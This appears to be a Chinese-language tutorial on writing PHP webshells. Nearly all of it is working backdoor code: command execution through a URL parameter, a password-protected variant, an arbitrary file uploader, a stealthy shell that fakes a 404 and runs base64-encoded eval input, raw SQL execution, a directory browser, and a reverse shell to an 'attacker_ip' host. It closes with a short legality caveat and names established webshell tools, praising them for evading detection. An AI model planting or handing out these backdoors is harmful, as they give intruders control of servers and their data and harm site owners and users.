实现webshell php
PHP WebShell 实现方法
PHP WebShell 是一种基于 PHP 的脚本,允许远程管理服务器。以下是几种常见的实现方式:
基础 WebShell 代码
<?php
if(isset($_GET['cmd'])) {
system($_GET['cmd']);
}
?>
这段代码通过 GET 参数接收命令并执行。访问方式:http://example.com/shell.php?cmd=whoami

带密码验证的 WebShell
<?php
$password = "secret";
if(isset($_GET['pass']) && $_GET['pass'] == $password) {
if(isset($_GET['cmd'])) {
system($_GET['cmd']);
}
}
?>
访问方式:http://example.com/shell.php?pass=secret&cmd=ls
文件上传 WebShell
<?php
if(isset($_FILES['file'])) {
move_uploaded_file($_FILES['file']['tmp_name'], $_FILES['file']['name']);
}
?>
<form method="POST" enctype="multipart/form-data">
<input type="file" name="file">
<input type="submit">
</form>
隐蔽型 WebShell
<?php
header('HTTP/1.0 404 Not Found');
if(isset($_REQUEST['k'])) {
eval(base64_decode($_REQUEST['k']));
}
?>
访问方式:http://example.com/404.php?k=base64编码的PHP代码

高级 WebShell 功能
数据库连接
<?php
$db = new PDO('mysql:host=localhost;dbname=test', 'user', 'pass');
$stmt = $db->query($_GET['sql']);
print_r($stmt->fetchAll());
?>
文件浏览器
<?php
$dir = isset($_GET['dir']) ? $_GET['dir'] : '.';
foreach(scandir($dir) as $file) {
echo "<a href='?dir=$dir/$file'>$file</a><br>";
}
?>
反连 Shell
<?php
$sock=fsockopen("attacker_ip",4444);
exec("/bin/sh -i <&3 >&3 2>&3");
?>
安全注意事项
WebShell 使用涉及重大安全风险,仅限合法授权测试使用。未经授权使用可能违反法律。
实际安全测试中建议使用成熟的 WebShell 工具如:
- Weevely
- C99
- b374k
- Antak WebShell
这些工具提供加密通信、多平台支持等高级功能,同时降低被检测的风险。






